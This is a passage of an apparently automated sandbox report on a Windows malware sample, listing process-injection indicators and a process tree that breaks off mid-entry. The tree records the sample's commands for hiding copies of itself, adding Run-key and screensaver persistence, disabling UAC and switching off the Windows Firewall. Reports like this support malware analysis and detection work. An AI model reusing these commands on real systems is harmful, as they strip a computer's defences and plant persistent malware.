Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1260	rawcircle.scr
Token: SeDebugPrivilege	1260	rawcircle.scr
Token: SeDebugPrivilege	1260	rawcircle.scr

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2404 wrote to memory of 2104	2404	d607dc520a218010b46f50ddfa2c87b4_JaffaCakes118.exe	30
PID 2404 wrote to memory of 2104	2404	d607dc520a218010b46f50ddfa2c87b4_JaffaCakes118.exe	30
PID 2404 wrote to memory of 2104	2404	d607dc520a218010b46f50ddfa2c87b4_JaffaCakes118.exe	30
PID 2404 wrote to memory of 2104	2404	d607dc520a218010b46f50ddfa2c87b4_JaffaCakes118.exe	30
PID 2104 wrote to memory of 1832	2104	cmd.exe	32
PID 2104 wrote to memory of 1832	2104	cmd.exe	32
PID 2104 wrote to memory of 1832	2104	cmd.exe	32
PID 2104 wrote to memory of 1832	2104	cmd.exe	32
PID 1832 wrote to memory of 2836	1832	XIo2qNiS.XIo2qNiS	35
PID 1832 wrote to memory of 2836	1832	XIo2qNiS.XIo2qNiS	35
PID 1832 wrote to memory of 2836	1832	XIo2qNiS.XIo2qNiS	35
PID 1832 wrote to memory of 2836	1832	XIo2qNiS.XIo2qNiS	35
PID 2836 wrote to memory of 2456	2836	cmd.exe	37
PID 2836 wrote to memory of 2456	2836	cmd.exe	37
PID 2836 wrote to memory of 2456	2836	cmd.exe	37
PID 2836 wrote to memory of 2456	2836	cmd.exe	37
PID 1832 wrote to memory of 2848	1832	XIo2qNiS.XIo2qNiS	38
PID 1832 wrote to memory of 2848	1832	XIo2qNiS.XIo2qNiS	38
PID 1832 wrote to memory of 2848	1832	XIo2qNiS.XIo2qNiS	38
PID 1832 wrote to memory of 2848	1832	XIo2qNiS.XIo2qNiS	38
PID 1832 wrote to memory of 2928	1832	XIo2qNiS.XIo2qNiS	40
PID 1832 wrote to memory of 2928	1832	XIo2qNiS.XIo2qNiS	40
PID 1832 wrote to memory of 2928	1832	XIo2qNiS.XIo2qNiS	40
PID 1832 wrote to memory of 2928	1832	XIo2qNiS.XIo2qNiS	40
PID 1832 wrote to memory of 3024	1832	XIo2qNiS.XIo2qNiS	41
PID 1832 wrote to memory of 3024	1832	XIo2qNiS.XIo2qNiS	41
PID 1832 wrote to memory of 3024	1832	XIo2qNiS.XIo2qNiS	41
PID 1832 wrote to memory of 3024	1832	XIo2qNiS.XIo2qNiS	41
PID 1832 wrote to memory of 2732	1832	XIo2qNiS.XIo2qNiS	43
PID 1832 wrote to memory of 2732	1832	XIo2qNiS.XIo2qNiS	43
PID 1832 wrote to memory of 2732	1832	XIo2qNiS.XIo2qNiS	43
PID 1832 wrote to memory of 2732	1832	XIo2qNiS.XIo2qNiS	43
PID 2732 wrote to memory of 2612	2732	cmd.exe	46
PID 2732 wrote to memory of 2612	2732	cmd.exe	46
PID 2732 wrote to memory of 2612	2732	cmd.exe	46
PID 2732 wrote to memory of 2612	2732	cmd.exe	46
PID 2928 wrote to memory of 2628	2928	cmd.exe	47
PID 2928 wrote to memory of 2628	2928	cmd.exe	47
PID 2928 wrote to memory of 2628	2928	cmd.exe	47
PID 2928 wrote to memory of 2628	2928	cmd.exe	47
PID 3024 wrote to memory of 2660	3024	cmd.exe	48
PID 3024 wrote to memory of 2660	3024	cmd.exe	48
PID 3024 wrote to memory of 2660	3024	cmd.exe	48
PID 3024 wrote to memory of 2660	3024	cmd.exe	48
PID 1832 wrote to memory of 2716	1832	XIo2qNiS.XIo2qNiS	49
PID 1832 wrote to memory of 2716	1832	XIo2qNiS.XIo2qNiS	49
PID 1832 wrote to memory of 2716	1832	XIo2qNiS.XIo2qNiS	49
PID 1832 wrote to memory of 2716	1832	XIo2qNiS.XIo2qNiS	49
PID 1832 wrote to memory of 2296	1832	XIo2qNiS.XIo2qNiS	51
PID 1832 wrote to memory of 2296	1832	XIo2qNiS.XIo2qNiS	51
PID 1832 wrote to memory of 2296	1832	XIo2qNiS.XIo2qNiS	51
PID 1832 wrote to memory of 2296	1832	XIo2qNiS.XIo2qNiS	51
PID 1832 wrote to memory of 3044	1832	XIo2qNiS.XIo2qNiS	52
PID 1832 wrote to memory of 3044	1832	XIo2qNiS.XIo2qNiS	52
PID 1832 wrote to memory of 3044	1832	XIo2qNiS.XIo2qNiS	52
PID 1832 wrote to memory of 3044	1832	XIo2qNiS.XIo2qNiS	52
PID 2296 wrote to memory of 1572	2296	cmd.exe	55
PID 2296 wrote to memory of 1572	2296	cmd.exe	55
PID 2296 wrote to memory of 1572	2296	cmd.exe	55
PID 2296 wrote to memory of 1572	2296	cmd.exe	55
PID 1832 wrote to memory of 980	1832	XIo2qNiS.XIo2qNiS	56
PID 1832 wrote to memory of 980	1832	XIo2qNiS.XIo2qNiS	56
PID 1832 wrote to memory of 980	1832	XIo2qNiS.XIo2qNiS	56
PID 1832 wrote to memory of 980	1832	XIo2qNiS.XIo2qNiS	56

Views/modifies file attributes 1 TTPs 42 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3056	attrib.exe
892	attrib.exe
1944	attrib.exe
1816	attrib.exe
3012	attrib.exe
3052	attrib.exe
2492	attrib.exe
2140	attrib.exe
2112	attrib.exe
1528	attrib.exe
3028	attrib.exe
2628	attrib.exe
1692	attrib.exe
1836	attrib.exe
2052	attrib.exe
2908	attrib.exe
1564	attrib.exe
1696	attrib.exe
2612	attrib.exe
1592	attrib.exe
2764	attrib.exe
2716	attrib.exe
2456	attrib.exe
1572	attrib.exe
2736	attrib.exe
1932	attrib.exe
2728	attrib.exe
2504	attrib.exe
1236	attrib.exe
1040	attrib.exe
2496	attrib.exe
2344	attrib.exe
1792	attrib.exe
1704	attrib.exe
1056	attrib.exe
2280	attrib.exe
2144	attrib.exe
3052	attrib.exe
2740	attrib.exe
1392	attrib.exe
932	attrib.exe
1824	attrib.exe

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe
1⤵
PID:256

C:\Windows\system32\csrss.exe
%SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
1⤵
PID:332

C:\Windows\system32\wininit.exe
wininit.exe
1⤵
PID:384
- C:\Windows\system32\services.exe
  C:\Windows\system32\services.exe
  2⤵
  PID:476
- - C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k DcomLaunch
    3⤵
    PID:600
  - - C:\Windows\system32\DllHost.exe
      C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
      4⤵
      PID:1364
  - - C:\Windows\system32\wbem\wmiprvse.exe
      C:\Windows\system32\wbem\wmiprvse.exe
      4⤵
      PID:824
- - C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k RPCSS
    3⤵
    PID:676
- - C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
    3⤵
    PID:748
- - C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
    3⤵
    PID:816
  - - C:\Windows\system32\Dwm.exe
      "C:\Windows\system32\Dwm.exe"
      4⤵
      PID:1160
- - C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k netsvcs
    3⤵
    PID:848
- - C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalService
    3⤵
    PID:968
- - C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k NetworkService
    3⤵
    PID:268
- - C:\Windows\System32\spoolsv.exe
    C:\Windows\System32\spoolsv.exe
    3⤵
    PID:344
- - C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
    3⤵
    PID:1064
- - C:\Windows\system32\taskhost.exe
    "taskhost.exe"
    3⤵
    PID:1108
- - C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
    "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
    3⤵
    PID:1668
- - C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
    3⤵
    PID:2264
- - C:\Windows\system32\sppsvc.exe
    C:\Windows\system32\sppsvc.exe
    3⤵
    PID:2352
- C:\Windows\system32\lsass.exe
  C:\Windows\system32\lsass.exe
  2⤵
  PID:488
- C:\Windows\system32\lsm.exe
  C:\Windows\system32\lsm.exe
  2⤵
  PID:496

C:\Windows\system32\csrss.exe
%SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
1⤵
PID:392
- C:\Windows\system32\conhost.exe
  \??\C:\Windows\system32\conhost.exe "129836022615557088091218501753-20952139776226080899381241741212877919-1321391214"
  2⤵
  PID:1924

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:432
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\rawcircle.scr
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\rawcircle.scr /s
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Modifies Control Panel
  - Suspicious use of AdjustPrivilegeToken
  PID:1260
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib -R -H -S "%appdata%\advant.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2284
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -R -H -S "C:\Users\Admin\AppData\Roaming\advant.exe"
      4⤵
      Views/modifies file attributes
      PID:1528
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\rawcircle.scr" "%appdata%\advant.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2828
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +R +H +S "%appdata%\advant.exe"
    3⤵
    PID:860
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +R +H +S "C:\Users\Admin\AppData\Roaming\advant.exe"
      4⤵
      Sets file to hidden
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:2908
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\software\microsoft\windows\currentversion\run" /v "advant" /t REG_SZ /d "%appdata%\advant.exe" /f
    3⤵
    PID:1536
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKCU\software\microsoft\windows\currentversion\run" /v "advant" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\advant.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:288
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib -R -H -S "%windir%\system32\pcclean.exe"
    3⤵
    PID:932
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -R -H -S "C:\Windows\system32\pcclean.exe"
      4⤵
      Drops file in System32 directory
      Views/modifies file attributes
      PID:3028
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\rawcircle.scr" "%windir%\system32\pcclean.exe"
    3⤵
    PID:2400
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +R +H +S "%windir%\system32\pcclean.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2756
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +R +H +S "C:\Windows\system32\pcclean.exe"
      4⤵
      Sets file to hidden
      Drops file in System32 directory
      Views/modifies file attributes
      PID:1564
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c md %appdata%\Microsoft\Windows
    3⤵
    - System Location Discovery: System Language Discovery
    PID:608
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib -R -H -S "%appdata%\Microsoft\Windows\rawcircle.scr"
    3⤵
    PID:2740
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -R -H -S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\rawcircle.scr"
      4⤵
      Views/modifies file attributes
      PID:1236
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\rawcircle.scr" "%appdata%\Microsoft\Windows\rawcircle.scr"
    3⤵
    PID:2060
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +R +H +S "%appdata%\Microsoft\Windows\rawcircle.scr"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1688
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +R +H +S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\rawcircle.scr"
      4⤵
      Sets file to hidden
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:1696
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "%appdata%\Microsoft\Windows\rawcircle.scr" /f
    3⤵
    PID:2568
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKCU\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\rawcircle.scr" /f
      4⤵
      PID:2112
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d "1" /f
    3⤵
    PID:1340
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d "1" /f
      4⤵
      PID:2952
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d "60" /f
    3⤵
    PID:3044
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d "60" /f
      4⤵
      PID:916
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c NET START seclogon
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2624
  - - C:\Windows\SysWOW64\net.exe
      NET START seclogon
      4⤵
      PID:2756
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 START seclogon
        5⤵
        
        PID:2764
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c rd /s /q "%appdata%\Macromedia\Flash Player\#SharedObjects"
    3⤵
    PID:1452
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2496
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2300
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg DELETE "HKCU\software\microsoft\windows\currentversion\action center\checks" /f
    3⤵
    PID:1520
  - - C:\Windows\SysWOW64\reg.exe
      reg DELETE "HKCU\software\microsoft\windows\currentversion\action center\checks" /f
      4⤵
      PID:924
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    PID:1824
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      PID:1996
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c sc config upnphost start= auto
    3⤵
    PID:1516
  - - C:\Windows\SysWOW64\sc.exe
      sc config upnphost start= auto
      4⤵
      Launches sc.exe
      PID:944
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c sc config SSDPSRV start= auto
    3⤵
    PID:1728
  - - C:\Windows\SysWOW64\sc.exe
      sc config SSDPSRV start= auto
      4⤵
      Launches sc.exe
      PID:564
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c sc config browser start= auto
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2160
  - - C:\Windows\SysWOW64\sc.exe
      sc config browser start= auto
      4⤵
      Launches sc.exe
      PID:1392
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c net start upnphost
    3⤵
    PID:2176
  - - C:\Windows\SysWOW64\net.exe
      net start upnphost
      4⤵
      PID:2992
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start upnphost
        5⤵
        
        PID:1660
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c net start SSDPSRV
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2076
  - - C:\Windows\SysWOW64\net.exe
      net start SSDPSRV
      4⤵
      PID:2164
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start SSDPSRV
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1028
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c net start browser
    3⤵
    PID:2168
  - - C:\Windows\SysWOW64\net.exe
      net start browser
      4⤵
      System Location Discovery: System Language Discovery
      PID:288
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start browser
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:776
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c netsh advfirewall set currentprofile state off
    3⤵
    PID:832
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall set currentprofile state off
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:3000
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
    3⤵
    PID:1324
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
      4⤵
      Modifies firewall policy service
      PID:2884
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2220
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:1520
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
    3⤵
    PID:1772
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2764
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c netsh advfirewall set currentprofile state off
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1624
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall set currentprofile state off
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:2388
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main\FeatureControl" /v FEATURE_WEBOC_POPUPMANAGEMENT /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1252
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main\FeatureControl" /v FEATURE_WEBOC_POPUPMANAGEMENT /t REG_DWORD /d 0 /f
      4⤵
      Modifies Internet Explorer settings
      PID:2056
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_FullURL /t REG_SZ /d yes /f
    3⤵
    PID:2212
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_FullURL /t REG_SZ /d yes /f
      4⤵
      Modifies Internet Explorer settings
      PID:2136
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_StatusBar /t REG_SZ /d yes /f
    3⤵
    PID:2232
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_StatusBar /t REG_SZ /d yes /f
      4⤵
      Modifies Internet Explorer settings
      PID:860
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_URLinStatusBar /t REG_SZ /d yes /f
    3⤵
    PID:2152
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_URLinStatusBar /t REG_SZ /d yes /f
      4⤵
      Modifies Internet Explorer settings
      PID:2832
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\MINIE" /v ShowStatusBar /t REG_DWORD /d 1 /f
    3⤵
    PID:2720
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKLM\Software\Microsoft\Internet Explorer\MINIE" /v ShowStatusBar /t REG_DWORD /d 1 /f
      4⤵
      Modifies Internet Explorer settings
      PID:1336
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg DELETE "HKCU\AppEvents\Schemes\Apps\Explorer\Navigating\.Current" /f
    3⤵
    PID:2180
  - - C:\Windows\SysWOW64\reg.exe
      reg DELETE "HKCU\AppEvents\Schemes\Apps\Explorer\Navigating\.Current" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2620
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg DELETE "HKCU\AppEvents\Schemes\Apps\Explorer\Navigating\.Default" /f
    3⤵
    PID:2676
  - - C:\Windows\SysWOW64\reg.exe
      reg DELETE "HKCU\AppEvents\Schemes\Apps\Explorer\Navigating\.Default" /f
      4⤵
      PID:3028
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v Check_Associations /t REG_SZ /d no /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2284
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v Check_Associations /t REG_SZ /d no /f
      4⤵
      Modifies Internet Explorer settings
      PID:2720
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v "DisableFirstRunCustomize" /t REG_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2808
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v "DisableFirstRunCustomize" /t REG_DWORD /d "1" /f
      4⤵
      Modifies Internet Explorer settings
      PID:932
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\System32\rundll32.exe"
    3⤵
    PID:2828
- - C:\Program Files (x86)\Windows Media Player\wmplayer.exe
    "C:\Program Files (x86)\Windows Media Player\wmplayer.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:444
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c rd /s /q "%appdata%\Macromedia\Flash Player\#SharedObjects"
    3⤵
    PID:2616

C:\Users\Admin\AppData\Local\Temp\d607dc520a218010b46f50ddfa2c87b4_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\d607dc520a218010b46f50ddfa2c87b4_JaffaCakes118.exe"
1⤵
- Loads dropped DLL
- Adds Run key to start application
- Drops autorun.inf file
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:2404
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\XIo2qNiS.XIo2qNiS
  2⤵
  - Blocklisted process makes network request
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops autorun.inf file
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of WriteProcessMemory
  PID:2104
- - C:\Users\Admin\AppData\Roaming\XIo2qNiS.XIo2qNiS
    C:\Users\Admin\AppData\Roaming\XIo2qNiS.XIo2qNiS
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Adds Run key to start application
    - Drops autorun.inf file
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Modifies Control Panel
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1832
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c attrib -R -H -S "%appdata%\advant.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2836
    - - C:\Windows\SysWOW64\attrib.exe
        
        attrib -R -H -S "C:\Users\Admin\AppData\Roaming\advant.exe"
        5⤵
        Views/modifies file attributes
        
        PID:2456
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\XIo2qNiS.XIo2qNiS" "%appdata%\advant.exe"
      4⤵
      PID:2848
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c attrib +R +H +S "%appdata%\advant.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2928
    - - C:\Windows\SysWOW64\attrib.exe
        
